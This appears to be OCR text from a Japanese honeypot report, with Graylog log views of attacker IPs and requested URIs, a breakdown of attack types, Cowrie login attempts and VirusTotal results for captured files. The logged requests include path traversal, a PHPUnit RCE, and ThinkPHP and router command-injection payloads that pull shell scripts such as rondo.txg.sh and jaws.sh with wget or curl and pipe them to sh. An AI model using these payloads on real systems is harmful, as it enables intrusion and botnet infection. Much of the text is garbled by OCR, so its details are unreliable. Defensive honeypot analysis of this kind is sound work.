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WOWHoneypot ~

SR T7 AN

630

2025-11-15 10:30:00.000 - 2025-11-22 10:30:00.000 @

2025-11-15 10-30-00.000 - 2025-11-72 10-30°00.000

FOERTF T

filebest dissect client ip

5 871201916
103.124.165.244
17125193234
25856.35
102.252.89.75

0 206.168.34.202

1 1857313338
118.123.1.40

13 152241245247

158.105.122 250

YOIRF—%
flebest_dissect_timestamp = L = ™
2025-11-16 20:36:00+0900 1732118179
2025-11-16 20:35:59+0900 1732118179
2025-11-16 20002:30+0900 91232 238.112
2025-11-16 19:54:21+0900 152 241 249247
2025-11-16 19:54:21+0900 152 241 249247
2025-11-16 19:54:20+0900 192 241 249247
2025-11-16 19:54:20+0900 152 241 249247
2025-11-16 19:54:19+0900 152 241 249247
2025-11-16 19:54:19+0900 152 241 249247
2025-11-16 19:54:19+0900 152 241 249247
2025-11-16 19:54:18+0900 152 241 249247
2025-11-16 19:54:18+0900 152 241 249247
2025-11-16 19:44:41+0900 1595.45155.98
2025-11-16 19:44:41+0900 199.45155.98
2025-11-16 19:44:36+0900 1595.45155.98
2025-11-16 19:44:36+0900 199.45155.98
2025-11-16 19:15:13+0900 202921 208
2025-11-16 18:16:28+0900 83142 209.125
2025-11-16 17:33:54+0900 195.1809.185
2025-11-16 17:33:54+0900 155.1809.185

filebest_dissect_hitp_version
HTTF/L1
HTTPfL1
HTTF/L0
HTTPfL1
HTTPfL1
HTTF/L1
HTTPfL1
HTTP/L1
HTTPAL1
HTTP/L1
HTTPAL1
HTTP/L1
HTTR/L1
HTTPAL1
HTTR/L1
HTTPAL1
HTTP/L1
HTTR/L1
HTTPAL1
HTTR/L1

filebest_dissect_method =
POST
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET

filebest_dissect_request_uri
/

fenw

/

faystembc/password php
fpassword php

fEavicon ico

-]
L R =
count{filebest dissect dient ip) = o

e
2025-11-15 10:30-36.000- 2025-11-22 14:15:38000




4. Graylog® ] fR 4L 1512

FLZERAURIZ F 2T YIIR
filebeat_dissect request uri = count{filebeat_dissect request uri) = filebeat dissect timestamp = filebeat dissect dient ip = filebeat dissect hitp version = filebeat dissect method = filebeat dissect request wri =
487 2025-11-20 15:00:44+0900 65.49.1.10 HTTP/L1 [cay [geoserverjweb/
2025-11-20 14:59:44+0900 65.49.1.20 HTTP/L1 GET [favicon.ico
2025-11-20 14:56:36+0900 65.49.1.10 HTTP/1.1 GET I
f.env 83 2025-11-20 14:53:36+0900 101.32.192.203 HTTP/L1 HEAD fCorefSkin/Login.aspx
2025-11-20 14:52:16+0900 44.247.232 90 HTTP/L1 GET I
2025-11-20 14:47:54+0900 149.88.19.10 HTTP/L1 GET [well-known/agent-card.json
2025-11-20 14:46:20+0900 91.332.238.112 HTTF/L0 GET I
[-git/config 1 2025-11-20 14:37:12+0900 133.238.20.242 HTTP/LO GET I
2025-11-20 14:19:00+0900 185.226.197.19 HTTP/L1 GET [SystemDataService/Content/Images/favicon.ico
2025-11-20 14:18:58+0900 185.226.197.20 HTTP/L1 GET Web/Auth
2025-11-2012:57:12+0900 138.197.41.105 HTTP/L1 [cgi-bin/.Y2e/ J2e].%62e/ M6/ Y26/ Yide/.%2e/. %26/ Y626/ Yi2e bin/sh
2025-11-20 13:51:44+0900 40771674 HTTP/L1 GET I
9 /sitemap.xml 14 2025-11-2012:51:25+0900 52.167.144.57 HTTP/L1 GET [robotsbxt
R T TN T TR ST T o‘ 2025-11-2013:01:15+0900 85.238.64.189 HTTP/L1 GET I
2025-11-2012:51:29+0900 91.232.238.153 HTTP/LO GET fadmin/config.php
FIEATI »F 2T 2025-11-20 12:47:08+0900 150.109.119.38 HTTP/L1 GET i
2025-11-20 12:00:40+0900 45.153.34.82 HTTP/L1 GET [.gitfconfig
2025-11-2011:32:45+0900 101.32.192.203 HTTP/L.1 HEAD [CorefSkin/Login.aspx
2025-11-20 11:22:1+0900 192.159.99.95 HTTP/L1 GET [public/index.php?
s=fIndex\think\app/inokefunctionffundion=call_user_func_amayfars[0]-systern
Ewvars[1][[=%28wget9620-q0-
9%20http%3A%%2F%2F74.194,191.52%2Frondo.bxg, sh67C7Chusyboxd620wget%:20-
qO-%20http%3A%2F362F74.194.191.52%2 Frondobeg.sh%7CY%7Ccur620-
s9620httpIa3A%62F362F74.194.191.52%2Frondotxg.sh329%%7Csh
2025-11-20 11:23:21+0900 HTTP/L.0 fegi-binflogin.cgi
2025-11-20 11:22:21+0900 HTTP/L1 [apply_sec.cgi
2025-11-2011:23:31+0900 HTTPL1 Jeoform/formJsonAjaxReq
2025-11-20 11:72:21+0900 HTTP/L1 [boafrm/formSysCmd
2025-11-20 11:33:20+0900 HTTP/L1 [fegi-binfludif;stok=/locale?
form=ecountry@operation—writefoountry=9660busybax %2 Owget%620-q0-
GB W SE H NG uA %20htpe63A%2F962F 74.194,191.52%2Frondo.2qq.she TCsh960
FR 5C 5G Hca
(Empty Value) v
2025-11-15 10:30:10.000 - 2025-11-22 10:30:10.000 @ 2025-11-15 10:30:00.000 - 2025-11-22 10:30:00.000 @

ffavicon.ico 99

{Core/Skin/Login.aspx

flogin

fadmin/config.php

us JP CN
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# filebeat dissect request uri = count{filebeat_dissect request uri) =

[env I THRAEXYITH
o IRIBERTEI7AILDIEER

/gt [T T HRFYUITE
o GitYIRI MY AZTF—HDIEFR

/.aws/config (2 T DAF VY 1TA
o AWSEREEIEER 771 IL DIEFE
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o URI: /cgi-bin/.%2e/.%2¢e/.../bin/sh (12[1])
o BEE: /bin/shiZE DV RAT LRETI7AINEEEEREITLESIET HRAA
o URI: /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd (3[2])
o BEE: /etc/passwdZF A EY VAT LA—H—IFEREFMEBLLOIET B A

PHPUnit RCERESS ¥ (CVE-2017-9841) (4[H])
o URI: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
o BIE: PHPDT AN IL—LT—I DA D) E—FO—FZE4T (RCE) M55 4%+ EH

Oracle WebLogic ServerD fig55 1% (CVE-2017-1027173 &) (4[E])
o URI: /wls-wsat/CoordinatorPortType

o BEEE: WebLogicDWebH—E RIZx T HEEEDXMLT ) 7 oA4E—a  Difa5s 1 EH
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RybRyrDHF HO—F 81T (6[8])

o [shell?cd%20%2Ftmp%3Bwget%20http%3A%2F%2F[IP7 K L X]1%2Fjaws.sh%3Bcurl%20-
0%20http%3A%2F%2F[IP7 KL
A]%2Fjaws.sh%3B%20chmod%20777%20jaws.sh%3Bsh%20jaws.sh%3Brm%20-rf%20jaws.sh /shell?cd
/tmp;wget http://[IP7 KL X]/jaws.sh;curl -O http://[IP7 KL X]/jaws.sh; chmod 777 jaws.sh;sh jaws.sh;rm
-rf jaws.sh

BYTEVALUE Intelligent Flow Control RouterZ3H->1=a<%> K42 x93,32/(CVE-2023-7311) (4[A])

> /goform/webRead/open/?path=%7Cwget%20-q0-%20http%3A%2F%2F[IP7 L X]1%2Frondo.wtf.sh%7Csh
/goform/webRead/open/?path=|wget -qO- http://[IP7 FL X]/rondo.wtf.sh|sh

ThinkPHPZL— LT —J DRCEFFZERL=<I/ILo 7 DDL/ELT (4[E])

o [index.php?s=/Index/¥think¥app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]
=%28wget%20-q0-%20http%3A%2F%2F[IP7 kL R]1%2Frondo.txg.sh%7C%7Cbusybox%20wget%20-qO-
%20http%3A%2F%2F[IP7 kL R]%2Frondo.txg.sh%7C%7Ccurl%20-s%20http%3A%2F%2F[IP7 KL
A1%2Frondo.txg.sh%29%7Csh
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CowrieMMFERXNIR 5T 1

ROLF AShT-REEER

WEEIEE(CrootéadminE LN DB R —H —R(Z, 123456%5password&E LN =ffi 55745/ VR
T—krZHAEHETTLVELT =,

(=3 1—¥4 EH [ AV O L S
1 oot 122 | 1 123456 34
2 admin 43 2 root 13
3 developer 4 ‘ 3 ‘ password ‘ 10 ‘
4 debian 4 4 admin 7
5 guest 4 5 1234 6
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KREBENBRELIIEAATZADDT7AILDFEHRIZLLTDREY,

Bk AVERTER I7AINEAT #E/mR

A 44/65 ELF (Linux Executable) FAADKRE. IM4=25Y—)L (2022F & £%)

B 38/65 ELF (Linux Executable) FOAMDKRE. RA=2TY—IL (2023F & £%)
BN —RYMNRIETOA RN, HEH

C 0/65 YAML METERADERETFAILPORI) T, (U A
X140B)

D 0/65 TXT BLdNZ—IRyNRETOA RN, EEIC

BRI TROFANI7ALIL, (A X708B)
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